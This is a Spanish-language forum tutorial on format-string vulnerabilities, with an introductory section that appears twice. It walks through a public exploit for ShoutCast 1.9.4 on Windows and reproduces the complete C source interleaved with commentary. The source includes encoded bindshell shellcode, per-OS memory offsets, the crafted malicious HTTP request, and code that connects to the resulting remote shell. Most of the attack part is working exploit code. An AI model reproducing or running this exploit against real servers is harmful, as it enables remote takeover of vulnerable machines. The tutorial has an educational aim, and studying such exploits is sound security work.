Hola.
Hoy de casualidad llegue a dar con un Bug de "Format String", y me puse a verlo
El exploit lo pueden bajar de aqui:
http://www.milw0rm.com/exploits/830
(Por Tomasz Trojanowski)
Es para ShoutCast (http://www.securityfocus.com/bid/12096), pero me gusto para explicar el funcionamiento de un FSoF.
En fin.. les recuerdo un poco que es un FSoF.
"Format String Bug"
"Format String Vulnerabilty"
"Format String Over Flow"
o simplemente
"Format String"
son todos lo mismo, y sucede en estas ocasiones:
printf(variable);
sprintf(variable);
fprintf(variable);
etc..
Ahora, una de las maneras de explotarlo, es cuando usamos las expresiones "%n"
Estas, se encargan de escribir en la dirección especificada la cantidad de datos que se deben haber escrito hasta el momento.. su explotacion es un poco complicada, asi que para mas información, pueden ver la documentación en el "Taller de Introducción a Bugs & Exploits" (mas arriba), aqui trataré de explicar el funcionamiento de este exploit, para que a otros les sirva si alguna ves encuentran alguno.
La manera de encontrarlo, es al mandar una expresión como: "UNo:%xDOs:%x" si el vaor de UNo es difernete a DOs, es muy probable que haya un FSoF.
La manera de explotarlos es similar a la de un BoF, solo que la manera de meterlo es muy diferente.
ShoutCast, al igual que "Apahuichtle WebServer (AWS)" es un webserver, es decir se encarga de responder a llamadas en el protocolo http (aunque algunos webservers tambien responden en otros..)
Este protocolo funciona asi:
Por ejemplo, esta petición estandard a un webserver Apache:
Daria como resultado esta respuesta:
Bueno, el problema con ShoutCast es que el parametro del archivo,es manejado usando las instrucciónes vulnerables a FSoF de las que hablamos.
Ahora empezemos a analizar el exploit, que aprovechandose de una vulnerabilidad de FSoF va a sobreescribir la SEH.
espero que no tenga que explicar que es esto..
Se definen colores xD
se define el banner (Pubicidad ) una funcion, para imprimir errores, y el puerto 8000 como puerto por defecto.
Se crea una estructura "tsz" con los offsets.
el bindshell..
se crea la función setoff, que se usara para asignar los offsets.
y el menu de uso.
se declaran variables, esto se ejecuta, unavez que se haya establecido conexión con el servidor victima.
se colocan algunos valores, se asigna a 0, y si esta definido "s" entonces "fds ~> s"
Mandamos el paquete... (si se define un canal de salida usa write, sino usa send.)
se definen algunas variables, objetos, etc.. imprimimos el banner y las instrucciones
Esto solo manda a cada lugar los parametros enviados, solo analizaremos algunos:
Asignamos un puerto personalisado.
Asignamos el objetivo.
Hacemos la conexión......
:-/ Información...
Ahora, hasta aqui, no hemos visto nada nuevo..
En sus marcas.. listos? xD
Asignamos espacio en memoria.
Ponemos a 0 el buffer.
y ponemos los offsets
bueno, esto lo que hace es meter en "buff" el tamaño de la shell.
Ahora, copiamos el bindshell en memoria....
Esto: EB 06 41 41, en ASM es:
Saltar 8 bits adelante.
CX=CX+2
es decir saltamos.
metemos el primer offset, de la lista de objetivos.
saltamos 208 bits atras.
y generamos una peticion HTTP version 1.1 valida.
enviamos y cerramos.
y nos vamos.
Bueno, talvez este documento sea mas complicado de entender que los de BoF, ya que el FSoF es una tecnica diferente..
estoy seguro que mas de uno al leer los memcpy no sabian de que estaba hablando.. pero para eso esta la documentación, para que entiendan la teoria del tema..
Saludos!!
PD. La version 1.2 de AWS esta anexa, con fuente y paquete ejecutable, es vulnerable a FSoF y a RCE.. por si quieren practicar .
Hoy de casualidad llegue a dar con un Bug de "Format String", y me puse a verlo
El exploit lo pueden bajar de aqui:
http://www.milw0rm.com/exploits/830
(Por Tomasz Trojanowski)
Es para ShoutCast (http://www.securityfocus.com/bid/12096), pero me gusto para explicar el funcionamiento de un FSoF.
En fin.. les recuerdo un poco que es un FSoF.
"Format String Bug"
"Format String Vulnerabilty"
"Format String Over Flow"
o simplemente
"Format String"
son todos lo mismo, y sucede en estas ocasiones:
printf(variable);
sprintf(variable);
fprintf(variable);
etc..
Ahora, una de las maneras de explotarlo, es cuando usamos las expresiones "%n"
Estas, se encargan de escribir en la dirección especificada la cantidad de datos que se deben haber escrito hasta el momento.. su explotacion es un poco complicada, asi que para mas información, pueden ver la documentación en el "Taller de Introducción a Bugs & Exploits" (mas arriba), aqui trataré de explicar el funcionamiento de este exploit, para que a otros les sirva si alguna ves encuentran alguno.
La manera de encontrarlo, es al mandar una expresión como: "UNo:%xDOs:%x" si el vaor de UNo es difernete a DOs, es muy probable que haya un FSoF.
La manera de explotarlos es similar a la de un BoF, solo que la manera de meterlo es muy diferente.
ShoutCast, al igual que "Apahuichtle WebServer (AWS)" es un webserver, es decir se encarga de responder a llamadas en el protocolo http (aunque algunos webservers tambien responden en otros..)
Este protocolo funciona asi:
Código [Seleccionar]
[METODO] [ARCHIVO] [VERSION]
[CABECERA]: [CONTENIDO]
[CABECERA]: [CONTENIDO]
...
[CONTENIDO]
Por ejemplo, esta petición estandard a un webserver Apache:
Código [Seleccionar]
GET / HTTP/1.1
Host: localhost
Daria como resultado esta respuesta:
Código [Seleccionar]
HTTP/1.1 200 OK
Date: Mon, 27 Mar 2006 04:31:05 GMT
Server: Apache/2.0.55 (Win32) PHP/4.4.2
X-Powered-By: PHP/4.4.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Content-Length: 114
Content-Type: text/html
Bueno, el problema con ShoutCast es que el parametro del archivo,es manejado usando las instrucciónes vulnerables a FSoF de las que hablamos.
Ahora empezemos a analizar el exploit, que aprovechandose de una vulnerabilidad de FSoF va a sobreescribir la SEH.
Código [Seleccionar]
#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
espero que no tenga que explicar que es esto..
Código [Seleccionar]
#define NORM "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL "\033[01;33m"
#define RED "\033[01;31m"
Se definen colores xD
Código [Seleccionar]
#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.0 for " RED "shoutcast 1.9.4 (win gui & console)" NORM
#define fatal(x) { perror(x); exit(1); }
#define default_port 8000
se define el banner (Pubicidad ) una funcion, para imprimir errores, y el puerto 8000 como puerto por defecto.
Código [Seleccionar]
struct { char *os; long goreg; long gpa; long lla; }
targets[] = {
{ "wXP SP1 ", 0x77beeb23, 0x77be10cc, 0x77be10D0 }, // msvcrt.dll's
{ "w2k SP4 many", 0x7801D081, 0x780320cc, 0x780320d0 },
}, tsz;
Se crea una estructura "tsz" con los offsets.
Código [Seleccionar]
unsigned char bsh[]={
// 198 bytes, iat's gpa at 0x1a, iat's lla at 0x2b, port at 0x46 (1180), key 0xde
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB0,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0x57,0xD7,0x60,0xDE,0xFE,0x9E,0xDE,0xB6,0xED,
0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,0x9E,0xDE,0x49,
0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0xB4,0x90,0x89,0x21,0xC8,0x21,0x0E,
0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xDA,0x42,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0xB4,0xDC,
0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,0x8D,0xB4,0xD3,0x89,0x21,0xC8,0x21,0x0E,0xB4,
0xDE,0x8A,0x8D,0xB4,0xDF,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,
0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,
0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,
0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,
0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,
0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,
0xAE,0xD6,0x21,0xC8,0x21,0x0E
};
el bindshell..
Código [Seleccionar]
char verbose=0;
void setoff(long GPA, long LLA) {
int gpa=GPA^0xdededede, lla=LLA^0xdededede;
memcpy(bsh+0x1a,&gpa,4);
memcpy(bsh+0x2b,&lla,4);
}
Código [Seleccionar]
void usage(char *argv0) {
int i;
printf("%s -d <host/ip> [opts]\n\n",argv0);
printf("Options:\n");
printf(" -h undocumented\n");
printf(" -v verbose mode on\n");
printf(" -p <port> to connect to [default: %u]\n",default_port);
printf(" -P <port> for the shellcode [default: 1180]\n");
printf(" -t <target type>; choose below [default: 0]\n\n");
printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);
exit(1);
}
se crea la función setoff, que se usara para asignar los offsets.
y el menu de uso.
Código [Seleccionar]
void shell(int s) {
char buff[4096];
int retval;
fd_set fds;
se declaran variables, esto se ejecuta, unavez que se haya establecido conexión con el servidor victima.
Código [Seleccionar]
printf("[+] connected!\n\n");
for (;;) {
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);
se colocan algunos valores, se asigna a 0, y si esta definido "s" entonces "fds ~> s"
Código [Seleccionar]
if (select(s+1, &fds, NULL, NULL, NULL) < 0)
fatal("[-] shell.select()");
if (FD_ISSET(0,&fds)) {
if ((retval = read(1,buff,4096)) < 1)
fatal("[-] shell.recv(stdin)");
send(s,buff,retval,0);
}
if (FD_ISSET(s,&fds)) {
if ((retval = recv(s,buff,4096,0)) < 1)
fatal("[-] shell.recv(socket)");
write(1,buff,retval);
}
Mandamos el paquete... (si se define un canal de salida usa write, sino usa send.)
Código [Seleccionar]
}
}
Código [Seleccionar]
int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=1180; char bindopt=1;
int i,s,ptr=0;
int type=0;
char *buff;
printf(BANNER "\n");
if (argc==1)
usage(argv[0]);
se definen algunas variables, objetos, etc.. imprimimos el banner y las instrucciones
Código [Seleccionar]
for (i=1;i<argc;i+=2) {
if (strlen(argv[i]) != 2)
usage(argv[0]);
// chk nulls argv[i+1]
switch(argv[i][1]) {
case 't':
type=atoi(argv[i+1]);
if (type >= (sizeof(targets)/sizeof(tsz))) {
printf("[-] bad target\n");
usage(argv[0]);
}
break;
case 'd':
host=argv[i+1];
break;
case 'p':
port=atoi(argv[i+1])?:default_port;
break;
case 's':
if (strstr(argv[i+1],"rev"))
bindopt=0;
break;
case 'H':
Host=argv[i+1];
break;
case 'P':
Port=atoi(argv[i+1])?:1180;
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x46,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;
case 'v':
verbose++; i--;
break;
case 'h':
usage(argv[0]);
default:
usage(argv[0]);
}
}
Esto solo manda a cada lugar los parametros enviados, solo analizaremos algunos:
Código [Seleccionar]
case 'P':
Port=atoi(argv[i+1])?:1180;
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x46,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;
Asignamos un puerto personalisado.
Código [Seleccionar]
case 't':
type=atoi(argv[i+1]);
if (type >= (sizeof(targets)/sizeof(tsz))) {
printf("[-] bad target\n");
usage(argv[0]);
}
break;
Asignamos el objetivo.
Código [Seleccionar]
if (verbose)
printf("verbose!\n");
if ((he=gethostbyname(host))==NULL)
fatal("[-] gethostbyname()");
sin.sin_family = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);
Hacemos la conexión......
Código [Seleccionar]
printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
printf("[.] will try to put a bindshell on port %d.\n",Port);
:-/ Información...
Ahora, hasta aqui, no hemos visto nada nuevo..
Código [Seleccionar]
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] connect()");
printf("[+] connected, sending exploit\n");
En sus marcas.. listos? xD
Código [Seleccionar]
buff=(char *)malloc(4096);
bzero(buff,4096);
setoff(targets[type].gpa, targets[type].lla);
Asignamos espacio en memoria.
Ponemos a 0 el buffer.
y ponemos los offsets
Código [Seleccionar]
ptr=sprintf(buff,"GET /content/%%#0%ux",1046-sizeof(bsh));
bueno, esto lo que hace es meter en "buff" el tamaño de la shell.
Código [Seleccionar]
memcpy(buff+ptr,bsh,sizeof(bsh)); ptr+=sizeof(bsh);
Ahora, copiamos el bindshell en memoria....
Código [Seleccionar]
strcpy(buff+ptr,"\xeb\x06\x41\x41"); ptr+=4;
Esto: EB 06 41 41, en ASM es:
Saltar 8 bits adelante.
CX=CX+2
es decir saltamos.
Código [Seleccionar]
memcpy(buff+ptr,&targets[type].goreg,4); ptr+=4;
metemos el primer offset, de la lista de objetivos.
Código [Seleccionar]
strcpy(buff+ptr,"\xe9\x2d\xff\xff\xff");
saltamos 208 bits atras.
Código [Seleccionar]
strcpy(buff+ptr,"%#0200x.mp3 HTTP/1.0\r\n\r\n"); ptr+=28;
y generamos una peticion HTTP version 1.1 valida.
Código [Seleccionar]
send(s,buff,ptr,0);
free(buff);
close(s);
enviamos y cerramos.
Código [Seleccionar]
sin.sin_port = htons(Port);
sleep(2);
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] exploit most likely failed");
shell(s);
exit(0);
}
y nos vamos.
Bueno, talvez este documento sea mas complicado de entender que los de BoF, ya que el FSoF es una tecnica diferente..
estoy seguro que mas de uno al leer los memcpy no sabian de que estaba hablando.. pero para eso esta la documentación, para que entiendan la teoria del tema..
Saludos!!
PD. La version 1.2 de AWS esta anexa, con fuente y paquete ejecutable, es vulnerable a FSoF y a RCE.. por si quieren practicar .